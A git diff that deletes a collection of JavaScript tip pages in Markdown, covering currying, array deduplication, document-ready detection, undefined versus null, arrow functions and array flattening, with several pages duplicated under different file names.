-console.log(myTesla.color); // undefined
-
-delete myTesla.batteryLife;
-console.log(myTesla.batteryLife); // 300
-
-Object.defineProperty(myTesla, 'batteryLife'); // TypeError: Cannot redefine property: batteryLife
-
-myTesla.batteryLife = 400;
-console.log(myTesla.batteryLife); // 300
-```
-
-## Extra
-
-Use `strict mode` if you want to throw an error when trying to modify an immutable object.
diff --git a/docs/content/dated/curryvspartialapplication.md b/docs/content/dated/curryvspartialapplication.md
deleted file mode 100644
index 705016e99f..0000000000
--- a/docs/content/dated/curryvspartialapplication.md
+++ /dev/null
@@ -1,110 +0,0 @@
--   /en/curry-vs-partial-application/
-
-**Currying**
-
-Currying takes a function
-
-f: X \* Y -> R
-
-and turns it into a function
-
-f': X -> (Y -> R)
-
-Instead of calling f with two arguments, we invoke f' with the first argument. The result is a function that we then call with the second argument to produce the result.
-
-Thus, if the uncurried f is invoked as
-
-f(3,5)
-
-then the curried f' is invoked as
-
-f(3)(5)
-
-For example:
-Uncurried add()
-
----
-
-```js
-function add(x, y) {
-    return x + y;
-}
-
-add(3, 5); // returns 8
-```
-
-Curried add()
-
----
-
-```js
-function addC(x) {
-    return function (y) {
-        return x + y;
-    };
-}
-
-addC(3)(5); // returns 8
-```
-
-**The algorithm for currying.**
-
-Curry takes a binary function and returns a unary function that returns a unary function.
-
-curry: (X × Y → R) → (X → (Y → R))
-
-Javascript Code:
-
----
-
-```js
-function curry(f) {
-    return function (x) {
-        return function (y) {
-            return f(x, y);
-        };
-    };
-}
-```
-
-**Partial application**
-
-Partial application takes a function
-
-f: X \* Y -> R
-
-and a fixed value for the first argument to produce a new function
-
-f`: Y -> R
-
-f' does the same as f, but only has to fill in the second parameter which is why its arity is one less than the arity of f.
-
-For example: Binding the first argument of function add to 5 produces the function plus5.
-
----
-
-```js
-function plus5(y) {
-    return 5 + y;
-}
-
-plus5(3); // returns 8
-```
-
-**The algorithm of partial application.\***
-
-partApply takes a binary function and a value and produces a unary function.
-
-partApply : ((X × Y → R) × X) → (Y → R)
-
-Javascript Code:
-
----
-
-```js
-function partApply(f, x) {
-    return function (y) {
-        return f(x, y);
-    };
-}
-```
diff --git a/docs/content/dated/deduplicatean.md b/docs/content/dated/deduplicatean.md
deleted file mode 100644
index 12effa9c4f..0000000000
--- a/docs/content/dated/deduplicatean.md
+++ /dev/null
@@ -1,122 +0,0 @@
--   /en/deduplicate-an-array/
-
-# Primitives
-
-If an Array only contains primitive values, we can deduplicate it by
-only using the [`filter`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter) and [`indexOf`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf) methods.
-
-```js
-var deduped = [1, 1, 'a', 'a'].filter(function (el, i, arr) {
-    return arr.indexOf(el) === i;
-});
-
-console.log(deduped); // [ 1, 'a' ]
-```
-
-## ES2015
-
-We can write this in a more compact way using an [arrow function](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions).
-
-```js
-var deduped = [1, 1, 'a', 'a'].filter((el, i, arr) => arr.indexOf(el) === i);
-
-console.log(deduped); // [ 1, 'a' ]
-```
-
-But with the introduction of [Sets](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) and the [`from`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/from) method, we can achieve the same
-result in a more concise way.
-
-```js
-var deduped = Array.from(new Set([1, 1, 'a', 'a']));
-
-console.log(deduped); // [ 1, 'a' ]
-```
-
-# Objects
-
-We can't use the same approach when the elements are Objects,
-because Objects are stored by reference and primitives are stored
-by value.
-
-```js
-1 === 1 // true
-
-'a' === 'a' // true
-
-{ a: 1 } === { a: 1 } // false
-```
-
-Therefore we need to change our approach and use a hash table.
-
----
-
-```js
-function dedup(arr) {
-    var hashTable = {};
-
-    return arr.filter(function (el) {
-        var key = JSON.stringify(el);
-        var match = Boolean(hashTable[key]);
-
-        return match ? false : (hashTable[key] = true);
-    });
-}
-
-var deduped = dedup([{ a: 1 }, { a: 1 }, [1, 2], [1, 2]]);
-
-console.log(deduped); // [ {a: 1}, [1, 2] ]
-```
-
-Because a hash table in javascript is simply an `Object`, the keys
-will always be of the type `String`. This means that normally we can't
-distinguish between strings and numbers of the same value, i.e. `1` and
-`'1'`.
-
-```js
-var hashTable = {};
-
-hashTable[1] = true;
-hashTable['1'] = true;
-
-console.log(hashTable); // { '1': true }
-```
-
-However, because we're using [`JSON.stringify`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify), keys that are of the
-type `String`, will be stored as an escaped string value, giving us unique
-keys in our `hashTable`.
-
-```js
-var hashTable = {};
-
-hashTable[JSON.stringify(1)] = true;
-hashTable[JSON.stringify('1')] = true;
-
-console.log(hashTable); // { '1': true, '\'1\'': true }
-```
-
-This means duplicate elements of the same value, but of a different type,
-will still be deduplicated using the same implementation.
-
-```js
-var deduped = dedup([{ a: 1 }, { a: 1 }, [1, 2], [1, 2], 1, 1, '1', '1']);
-
-console.log(deduped); // [ {a: 1}, [1, 2], 1, '1' ]
-```
-
-# Resources
-
-## Methods
-
--   [`filter`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
--   [`indexOf`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
--   [`from`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
--   [`JSON.stringify`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify)
-
-## ES2015
-
--   [arrow functions](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
--   [Sets](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set)
-
-## Stack overflow
-
--   [remove duplicates from array](http://stackoverflow.com/questions/9229645/remove-duplicates-from-javascript-array/9229821#9229821)
diff --git a/docs/content/dated/deduplicateanarray.md b/docs/content/dated/deduplicateanarray.md
deleted file mode 100644
index 12effa9c4f..0000000000
--- a/docs/content/dated/deduplicateanarray.md
+++ /dev/null
@@ -1,122 +0,0 @@
--   /en/deduplicate-an-array/
-
-# Primitives
-
-If an Array only contains primitive values, we can deduplicate it by
-only using the [`filter`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter) and [`indexOf`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf) methods.
-
-```js
-var deduped = [1, 1, 'a', 'a'].filter(function (el, i, arr) {
-    return arr.indexOf(el) === i;
-});
-
-console.log(deduped); // [ 1, 'a' ]
-```
-
-## ES2015
-
-We can write this in a more compact way using an [arrow function](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions).
-
-```js
-var deduped = [1, 1, 'a', 'a'].filter((el, i, arr) => arr.indexOf(el) === i);
-
-console.log(deduped); // [ 1, 'a' ]
-```
-
-But with the introduction of [Sets](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set) and the [`from`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/from) method, we can achieve the same
-result in a more concise way.
-
-```js
-var deduped = Array.from(new Set([1, 1, 'a', 'a']));
-
-console.log(deduped); // [ 1, 'a' ]
-```
-
-# Objects
-
-We can't use the same approach when the elements are Objects,
-because Objects are stored by reference and primitives are stored
-by value.
-
-```js
-1 === 1 // true
-
-'a' === 'a' // true
-
-{ a: 1 } === { a: 1 } // false
-```
-
-Therefore we need to change our approach and use a hash table.
-
----
-
-```js
-function dedup(arr) {
-    var hashTable = {};
-
-    return arr.filter(function (el) {
-        var key = JSON.stringify(el);
-        var match = Boolean(hashTable[key]);
-
-        return match ? false : (hashTable[key] = true);
-    });
-}
-
-var deduped = dedup([{ a: 1 }, { a: 1 }, [1, 2], [1, 2]]);
-
-console.log(deduped); // [ {a: 1}, [1, 2] ]
-```
-
-Because a hash table in javascript is simply an `Object`, the keys
-will always be of the type `String`. This means that normally we can't
-distinguish between strings and numbers of the same value, i.e. `1` and
-`'1'`.
-
-```js
-var hashTable = {};
-
-hashTable[1] = true;
-hashTable['1'] = true;
-
-console.log(hashTable); // { '1': true }
-```
-
-However, because we're using [`JSON.stringify`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify), keys that are of the
-type `String`, will be stored as an escaped string value, giving us unique
-keys in our `hashTable`.
-
-```js
-var hashTable = {};
-
-hashTable[JSON.stringify(1)] = true;
-hashTable[JSON.stringify('1')] = true;
-
-console.log(hashTable); // { '1': true, '\'1\'': true }
-```
-
-This means duplicate elements of the same value, but of a different type,
-will still be deduplicated using the same implementation.
-
-```js
-var deduped = dedup([{ a: 1 }, { a: 1 }, [1, 2], [1, 2], 1, 1, '1', '1']);
-
-console.log(deduped); // [ {a: 1}, [1, 2], 1, '1' ]
-```
-
-# Resources
-
-## Methods
-
--   [`filter`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
--   [`indexOf`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf)
--   [`from`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/from)
--   [`JSON.stringify`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify)
-
-## ES2015
-
--   [arrow functions](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions)
--   [Sets](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set)
-
-## Stack overflow
-
--   [remove duplicates from array](http://stackoverflow.com/questions/9229645/remove-duplicates-from-javascript-array/9229821#9229821)
diff --git a/docs/content/dated/detectdocumentreadyinpurejs.md b/docs/content/dated/detectdocumentreadyinpurejs.md
deleted file mode 100644
index c57c3be1ee..0000000000
--- a/docs/content/dated/detectdocumentreadyinpurejs.md
+++ /dev/null
@@ -1,34 +0,0 @@
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/detect-document-ready-in-pure-js/
-
-The cross-browser way to check if the document has loaded in pure JavaScript is using [`readyState`](https://developer.mozilla.org/en-US/docs/Web/API/Document/readyState).
-
-```js
-if (document.readyState === 'complete') {
-    // The page is fully loaded
-}
-```
-
-You can detect when the document is ready...
-
-```js
-let stateCheck = setInterval(() => {
-    if (document.readyState === 'complete') {
-        clearInterval(stateCheck);
-        // document ready
-    }
-}, 100);
-```
-
-or with [onreadystatechange](https://developer.mozilla.org/en-US/docs/Web/Events/readystatechange)...
-
-```js
-document.onreadystatechange = () => {
-    if (document.readyState === 'complete') {
-        // document ready
-    }
-};
-```
-
-Use `document.readyState === 'interactive'` to detect when the DOM is ready.
diff --git a/docs/content/dated/differencebetweentargetandcurrentTarget.md b/docs/content/dated/differencebetweentargetandcurrentTarget.md
deleted file mode 100644
index cbbd0592be..0000000000
--- a/docs/content/dated/differencebetweentargetandcurrentTarget.md
+++ /dev/null
@@ -1,20 +0,0 @@
----
-
-`target` refers to the DOM element that triggers an event. Otherwise, `currentTarget` refers to the DOM element that the event listener is listening on.
-
-```html
-<ul class="todo-list">
-    <li class="item">Walk your dog</li>
-</ul>
-```
-
-```js
-const list = document.querySelector('.todo-list');
-
-list.addEventListener('click', (e) => {
-    console.log(e.target);
-    // Output: <li class="item">Walk your dog</li>
-    console.log(e.currentTarget);
-    // Output: <ul class="todo-list"></ul>
-});
-```
diff --git a/docs/content/dated/differencesbetweenundefinedandnull.md b/docs/content/dated/differencesbetweenundefinedandnull.md
deleted file mode 100644
index a61acf82c2..0000000000
--- a/docs/content/dated/differencesbetweenundefinedandnull.md
+++ /dev/null
@@ -1,38 +0,0 @@
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/differences-between-undefined-and-null/
--
--   `undefined` means a variable has not been declared,
--   `null` is an assignment value that means "no value"
--   Javascript sets unassigned variables with a default value of `undefined`
--   Javascript never sets a value to `null`. It is u
--   `undefined` is not valid in JSON
--   `undefined` typeof is `undefined`
--   `null` typeof is an
--   Both are primitives
--   Both are [falsy](https://developer.mozilla.org/en-US/docs/Glossary/Falsy)
-    (`Boolean(undefined) // false`, `Boolean(null) // false`)
--   You can know if a variable is [undefined](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined)
-
-    ```js
-    typeof variable === 'undefined';
-    ```
-
-````
-- You can check if a variable is [null](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/null)
-
-  ```js
-  variable === null
-````
-
--   The **equality** operator considers them equal, but the **identity** doesn't
-
-    ```js
-    null == undefined; // true
-
-    null === undefined; // false
-    ```
-
-```
-
-```
diff --git a/docs/content/dated/evensimplerwayofusingindexofasacontainsclause.md b/docs/content/dated/evensimplerwayofusingindexofasacontainsclause.md
deleted file mode 100644
index 236b8b1b5b..0000000000
--- a/docs/content/dated/evensimplerwayofusingindexofasacontainsclause.md
+++ /dev/null
@@ -1,68 +0,0 @@
--   /en/even-simpler-way-of-using-indexof-as-a-contains-clause/
-
-JavaScript by default does not have a contains method. And for checking existence of a substring in a string or an item in an array you may do this:
-
-```js
-var someText = 'javascript rules';
-if (someText.indexOf('javascript') !== -1) {
-}
-
-// or
-if (someText.indexOf('javascript') >= 0) {
-}
-```
-
-But let's look at these [Expressjs](https://github.com/strongloop/express) code snippets.
-
-[examples/mvc/lib/boot.js](https://github.com/strongloop/express/blob/2f8ac6726fa20ab5b4a05c112c886752868ac8ce/examples/mvc/lib/boot.js#L26)
-
-```js
-for (var key in obj) {
-  // "reserved" exports
-  if (~['name', 'prefix', 'engine', 'before'].indexOf(key)) continue;
-```
-
-[lib/utils.js](https://github.com/strongloop/express/blob/2f8ac6726fa20ab5b4a05c112c886752868ac8ce/lib/utils.js#L93)
-
-```js
-exports.normalizeType = function (type) {
-    return ~type.indexOf('/') ? acceptParams(type) : { value: mime.lookup(type), params: {} };
-};
-```
-
-[examples/web-service/index.js](https://github.com/strongloop/express/blob/2f8ac6726fa20ab5b4a05c112c886752868ac8ce/examples/web-service/index.js#L35)
-
-```js
-// key is invalid
-if (!~apiKeys.indexOf(key)) return next(error(401, 'invalid api key'));
-```
-
-The gotcha is the [bitwise operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators) **~**, "Bitwise operators perform their operations on binary representations, but they return standard JavaScript numerical values."
-
-It transforms `-1` into `0`, and `0` evaluates to `false` in JavaScript:
-
-```js
-var someText = 'text';
-!!~someText.indexOf('tex'); // someText contains "tex" - true
-!~someText.indexOf('tex'); // someText NOT contains "tex" - false
-~someText.indexOf('asd'); // someText doesn't contain "asd" - false
-~someText.indexOf('ext'); // someText contains "ext" - true
-```
-
-### String.prototype.includes()
-
-ES6 introduced the [includes() method](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/includes) and you can use it to determine whether or not a string includes another string:
-
-```js
-'something'.includes('thing'); // true
-```
-
-With ECMAScript 2016 (ES7) it is even possible to use these techniques with Arrays:
-
-```js
-!!~[1, 2, 3].indexOf(1); // true
-[1, 2, 3].includes(1); // true
-```
-
-**Unfortunately, it is only supported in Chrome, Firefox, Safari 9 or above and Edge; not IE11 or lower.**
-**It's better used in controlled environments.**
diff --git a/docs/content/dated/extractunixtimestamp.md b/docs/content/dated/extractunixtimestamp.md
deleted file mode 100644
index 3ac587ffba..0000000000
--- a/docs/content/dated/extractunixtimestamp.md
+++ /dev/null
@@ -1,44 +0,0 @@
--   /en/extract-unix-timestamp-easily/
-
-We frequently need to calculate with unix timestamp. There are several ways to grab the timestamp. For current unix timestamp easiest and fastest way is
-
-```js
-const dateTime = Date.now();
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-or
-
-```js
-const dateTime = new Date().getTime();
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-To get unix timestamp of a specific date pass `YYYY-MM-DD` or `YYYY-MM-DDT00:00:00Z` as parameter of `Date` constructor. For example
-
-```js
-const dateTime = new Date('2012-06-08').getTime();
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-You can just add a `+` sign also when declaring a `Date` object like below
-
-```js
-const dateTime = +new Date();
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-or for specific date
-
-```js
-const dateTime = +new Date('2012-06-08');
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-Under the hood the runtime calls `valueOf` method of the `Date` object. Then the unary `+` operator calls `toNumber()` with that returned value. For detailed explanation please check the following links
-
--   [Date.prototype.valueOf](http://es5.github.io/#x15.9.5.8)
--   [Unary + operator](http://es5.github.io/#x11.4.6)
--   [toNumber()](http://es5.github.io/#x9.3)
--   [Date Javascript MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date)
--   [Date.parse()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/parse)
diff --git a/docs/content/dated/extractunixtimestampeasily.md b/docs/content/dated/extractunixtimestampeasily.md
deleted file mode 100644
index 3ac587ffba..0000000000
--- a/docs/content/dated/extractunixtimestampeasily.md
+++ /dev/null
@@ -1,44 +0,0 @@
--   /en/extract-unix-timestamp-easily/
-
-We frequently need to calculate with unix timestamp. There are several ways to grab the timestamp. For current unix timestamp easiest and fastest way is
-
-```js
-const dateTime = Date.now();
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-or
-
-```js
-const dateTime = new Date().getTime();
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-To get unix timestamp of a specific date pass `YYYY-MM-DD` or `YYYY-MM-DDT00:00:00Z` as parameter of `Date` constructor. For example
-
-```js
-const dateTime = new Date('2012-06-08').getTime();
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-You can just add a `+` sign also when declaring a `Date` object like below
-
-```js
-const dateTime = +new Date();
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-or for specific date
-
-```js
-const dateTime = +new Date('2012-06-08');
-const timestamp = Math.floor(dateTime / 1000);
-```
-
-Under the hood the runtime calls `valueOf` method of the `Date` object. Then the unary `+` operator calls `toNumber()` with that returned value. For detailed explanation please check the following links
-
--   [Date.prototype.valueOf](http://es5.github.io/#x15.9.5.8)
--   [Unary + operator](http://es5.github.io/#x11.4.6)
--   [toNumber()](http://es5.github.io/#x9.3)
--   [Date Javascript MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date)
--   [Date.parse()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/parse)
diff --git a/docs/content/dated/fatarrowfunctions.md b/docs/content/dated/fatarrowfunctions.md
deleted file mode 100644
index 559a3c618b..0000000000
--- a/docs/content/dated/fatarrowfunctions.md
+++ /dev/null
@@ -1,94 +0,0 @@
--   /en/fat-arrow-functions/
-
-Introduced as a new feature in ES6, fat arrow functions may come as a handy tool to write more code in fewer lines. The name comes from its syntax, `=>`, which is a 'fat arrow', as compared to a thin arrow `->`. Some programmers might already know this type of function from different languages such as Haskell, as 'lambda expressions', or as 'anonymous functions'. It is called anonymous, as these arrow functions do not have a descriptive function name.
-
-### What are the benefits?
-
--   Syntax: fewer LOC; no more typing `function` keyword over and over again
--   Semantics: capturing the keyword `this` from the surrounding context
-
-### Simple syntax example
-
-Have a look at these two code snippets, which do the exact same job, and you will quickly understand what fat arrow functions do:
-
-```js
-// general syntax for fat arrow functions
-param => expression
-
-// may also be written with parentheses
-// parentheses are required on multiple params
-(param1 [, param2]) => expression
-
-// using functions
-var arr = [5,3,2,9,1];
-var arrFunc = arr.map(function(x) {
-  return x * x;
-});
-console.log(arr)
-
-// using fat arrow
-var arr = [5,3,2,9,1];
-var arrFunc = arr.map((x) => x*x);
-console.log(arr)
-```
-
-As you can see, the fat arrow function in this case can save you time typing out the parentheses as well as the function and return keywords. I would advise you to always write parentheses around the parameter inputs, as the parentheses will be needed for multiple input parameters, such as in `(x,y) => x+y`. It is just a way to cope with forgetting them in different use cases. But the code above would also work like this: `x => x*x`. So far, these are only syntactical improvements, which lead to fewer LOC and better readability.
-
-### Lexically binding `this`
-
-There is another good reason to use fat arrow functions. There is the issue with the context of `this`. With arrow functions, you don't need to worry about `.bind(this)` or setting `that = this` anymore, as fat arrow functions pick the context of `this` from the lexical surrounding. Have a look at the next [example] (https://jsfiddle.net/pklinger/rw94oc11/):
-
-```js
-// globally defined this.i
-this.i = 100;
-
-var counterA = new CounterA();
-var counterB = new CounterB();
-var counterC = new CounterC();
-var counterD = new CounterD();
-
-// bad example
-function CounterA() {
-    // CounterA's `this` instance (!! gets ignored here)
-    this.i = 0;
-    setInterval(function () {
-        // `this` refers to global object, not to CounterA's `this`
-        // therefore starts counting with 100, not with 0 (local this.i)
-        this.i++;
-        document.getElementById('counterA').innerHTML = this.i;
-    }, 500);
-}
-
-// manually binding that = this
-function CounterB() {
-    this.i = 0;
-    var that = this;
-    setInterval(function () {
-        that.i++;
-        document.getElementById('counterB').innerHTML = that.i;
-    }, 500);
-}
-
-// using .bind(this)
-function CounterC() {
-    this.i = 0;
-    setInterval(
-        function () {
-            this.i++;
-            document.getElementById('counterC').innerHTML = this.i;
-        }.bind(this),
-        500
-    );
-}
-
-// fat arrow function
-function CounterD() {
-    this.i = 0;
-    setInterval(() => {
-        this.i++;
-        document.getElementById('counterD').innerHTML = this.i;
-    }, 500);
-}
-```
-
-Further information about fat arrow functions may be found at [MDN] (https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions). To see different syntax options visit [this site] (http://jsrocks.org/2014/10/arrow-functions-and-their-scope/).
diff --git a/docs/content/dated/filteringandsortingalistofstrings.md b/docs/content/dated/filteringandsortingalistofstrings.md
deleted file mode 100644
index 9098eb2d0d..0000000000
--- a/docs/content/dated/filteringandsortingalistofstrings.md
+++ /dev/null
@@ -1,231 +0,0 @@
-c
-
--   /en/filtering-and-sorting-a-list-of-strings/
-
-You may have a big list of names you need to filter in order to remove duplicates and sort them alphabetically.
-
-In our example we are going to use the list of **JavaScript reserved keywords** we can find across the different versions of the language, but as you can notice, there is a lot of duplicated keywords and they are not alphabetically organized. So this is a perfect list ([Array](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)) of strings to test out this JavaScript tip.
-
-```js
-var keywords = [
-    'do',
-    'if',
-    'in',
-    'for',
-    'new',
-    'try',
-    'var',
-    'case',
-    'else',
-    'enum',
-    'null',
-    'this',
-    'true',
-    'void',
-    'with',
-    'break',
-    'catch',
-    'class',
-    'const',
-    'false',
-    'super',
-    'throw',
-    'while',
-    'delete',
-    'export',
-    'import',
-    'return',
-    'switch',
-    'typeof',
-    'default',
-    'extends',
-    'finally',
-    'continue',
-    'debugger',
-    'function',
-    'do',
-    'if',
-    'in',
-    'for',
-    'int',
-    'new',
-    'try',
-    'var',
-    'byte',
-    'case',
-    'char',
-    'else',
-    'enum',
-    'goto',
-    'long',
-    'null',
-    'this',
-    'true',
-    'void',
-    'with',
-    'break',
-    'catch',
-    'class',
-    'const',
-    'false',
-    'final',
-    'float',
-    'short',
-    'super',
-    'throw',
-    'while',
-    'delete',
-    'double',
-    'export',
-    'import',
-    'native',
-    'public',
-    'return',
-    'static',
-    'switch',
-    'throws',
-    'typeof',
-    'boolean',
-    'default',
-    'extends',
-    'finally',
-    'package',
-    'private',
-    'abstract',
-    'continue',
-    'debugger',
-    'function',
-    'volatile',
-    'interface',
-    'protected',
-    'transient',
-    'implements',
-    'instanceof',
-    'synchronized',
-    'do',
-    'if',
-    'in',
-    'for',
-    'let',
-    'new',
-    'try',
-    'var',
-    'case',
-    'else',
-    'enum',
-    'eval',
-    'null',
-    'this',
-    'true',
-    'void',
-    'with',
-    'break',
-    'catch',
-    'class',
-    'const',
-    'false',
-    'super',
-    'throw',
-    'while',
-    'yield',
-    'delete',
-    'export',
-    'import',
-    'public',
-    'return',
-    'static',
-    'switch',
-    'typeof',
-    'default',
-    'extends',
-    'finally',
-    'package',
-    'private',
-    'continue',
-    'debugger',
-    'function',
-    'arguments',
-    'interface',
-    'protected',
-    'implements',
-    'instanceof',
-    'do',
-    'if',
-    'in',
-    'for',
-    'let',
-    'new',
-    'try',
-    'var',
-    'case',
-    'else',
-    'enum',
-    'eval',
-    'null',
-    'this',
-    'true',
-    'void',
-    'with',
-    'await',
-    'break',
-    'catch',
-    'class',
-    'const',
-    'false',
-    'super',
-    'throw',
-    'while',
-    'yield',
-    'delete',
-    'export',
-    'import',
-    'public',
-    'return',
-    'static',
-    'switch',
-    'typeof',
-    'default',
-    'extends',
-    'finally',
-    'package',
-    'private',
-    'continue',
-    'debugger',
-    'function',
-    'arguments',
-    'interface',
-    'protected',
-    'implements',
-    'instanceof'
-];
-```
-
-Since we don't want to change our original list, we are going to use a high order function named [`filter`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/filter), which will return a new filter array based in a predicate (_function_) we pass to it. The predicate will compare the index of the current keyword in the original list with its `index` in the new list and will push it to the new array only if the indexes match.
-
-Finally we are going to sort the filtered list using the [`sort`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort) function which takes a comparison function as the only argument, returning a alphabetically sorted list.
-
-```js
-var filteredAndSortedKeywords = keywords
-    .filter(function (keyword, index) {
-        return keywords.lastIndexOf(keyword) === index;
-    })
-    .sort(function (a, b) {
-        return a < b ? -1 : 1;
-    });
-```
-
-The **ES6** (ECMAScript 2015) version using [arrow functions](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions) looks a little simpler:
-
-```js
-const filteredAndSortedKeywords = keywords.filter((keyword, index) => keywords.lastIndexOf(keyword) === index).sort((a, b) => (a < b ? -1 : 1));
-```
-
-And this is the final filtered and sorted list of JavaScript reserved keywords:
-
-```js
-console.log(filteredAndSortedKeywords);
-
-// ['abstract', 'arguments', 'await', 'boolean', 'break', 'byte', 'case', 'catch', 'char', 'class', 'const', 'continue', 'debugger', 'default', 'delete', 'do', 'double', 'else', 'enum', 'eval', 'export', 'extends', 'false', 'final', 'finally', 'float', 'for', 'function', 'goto', 'if', 'implements', 'import', 'in', 'instanceof', 'int', 'interface', 'let', 'long', 'native', 'new', 'null', 'package', 'private', 'protected', 'public', 'return', 'short', 'static', 'super', 'switch', 'synchronized', 'this', 'throw', 'throws', 'transient', 'true', 'try', 'typeof', 'var', 'void', 'volatile', 'while', 'with', 'yield']
-```
-
-_Thanks to [@nikshulipa](https://github.com/nikshulipa), [@kirilloid](https://twitter.com/kirilloid), [@lesterzone](https://twitter.com/lesterzone), [@tracker1](https://twitter.com/tracker1), [@manuel_del_pozo](https://twitter.com/manuel_del_pozo) for all the comments and suggestions!_
diff --git a/docs/content/dated/flatteningmultidimensionalarraysin.md b/docs/content/dated/flatteningmultidimensionalarraysin.md
deleted file mode 100644
index c093558473..0000000000
--- a/docs/content/dated/flatteningmultidimensionalarraysin.md
+++ /dev/null
@@ -1,70 +0,0 @@
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/flattening-multidimensional-arrays-in-javascript/
-
-These are the three known ways to merge multidimensional array into a single array.
-
-Given this array:
-
-```js
-var myArray = [
-    [1, 2],
-    [3, 4, 5],
-    [6, 7, 8, 9]
-];
-```
-
-We wanna have this result:
-
-```js
-[1, 2, 3, 4, 5, 6, 7, 8, 9];
-```
-
-### Solution 1: Using [`concat()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat) and [`apply()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)
-
-```js
-var myNewArray = [].concat.apply([], myArray);
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-### Solution 2: Using [`reduce()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce#Flatten_an_array_of_arrays)
-
-```js
-var myNewArray = myArray.reduce(function (prev, curr) {
-    return prev.concat(curr);
-});
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-### Solution 3:
-
-```js
-var myNewArray3 = [];
-for (var i = 0; i < myArray.length; ++i) {
-    for (var j = 0; j < myArray[i].length; ++j) myNewArray3.push(myArray[i][j]);
-}
-console.log(myNewArray3);
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-### Solution 4: Using [spread operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator) in ES6
-
-```js
-var myNewArray4 = [].concat(...myArray);
-console.log(myNewArray4);
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-### Solution 5: Using [`flat()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/flat) in ES10
-
-```js
-var myNewArray5 = myArray.flat();
-console.log(myNewArray5);
-// [1, 2, 3, 4, 5, 6, 7, 8, 9]
-```
-
-Take a look [here](https://jsbin.com/janana/edit?js,console) these 4 algorithms in action.
-
-For infinitely nested array try Lodash [flattenDeep()](https://lodash.com/docs#flattenDeep).
-
-If you are curious about performance, [here](http://jsperf.com/flatten-an-array-loop-vs-reduce/6) a test for check how it works.
diff --git a/docs/content/dated/flatteningmultidimensionalarraysinjavascript.md b/docs/content/dated/flatteningmultidimensionalarraysinjavascript.md
deleted file mode 100644
index c093558473..0000000000
--- a/docs/content/dated/flatteningmultidimensionalarraysinjavascript.md
+++ /dev/null
@@ -1,70 +0,0 @@
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/flattening-multidimensional-arrays-in-javascript/
-
-These are the three known ways to merge multidimensional array into a single array.
-
-Given this array:
-
-```js
-var myArray = [
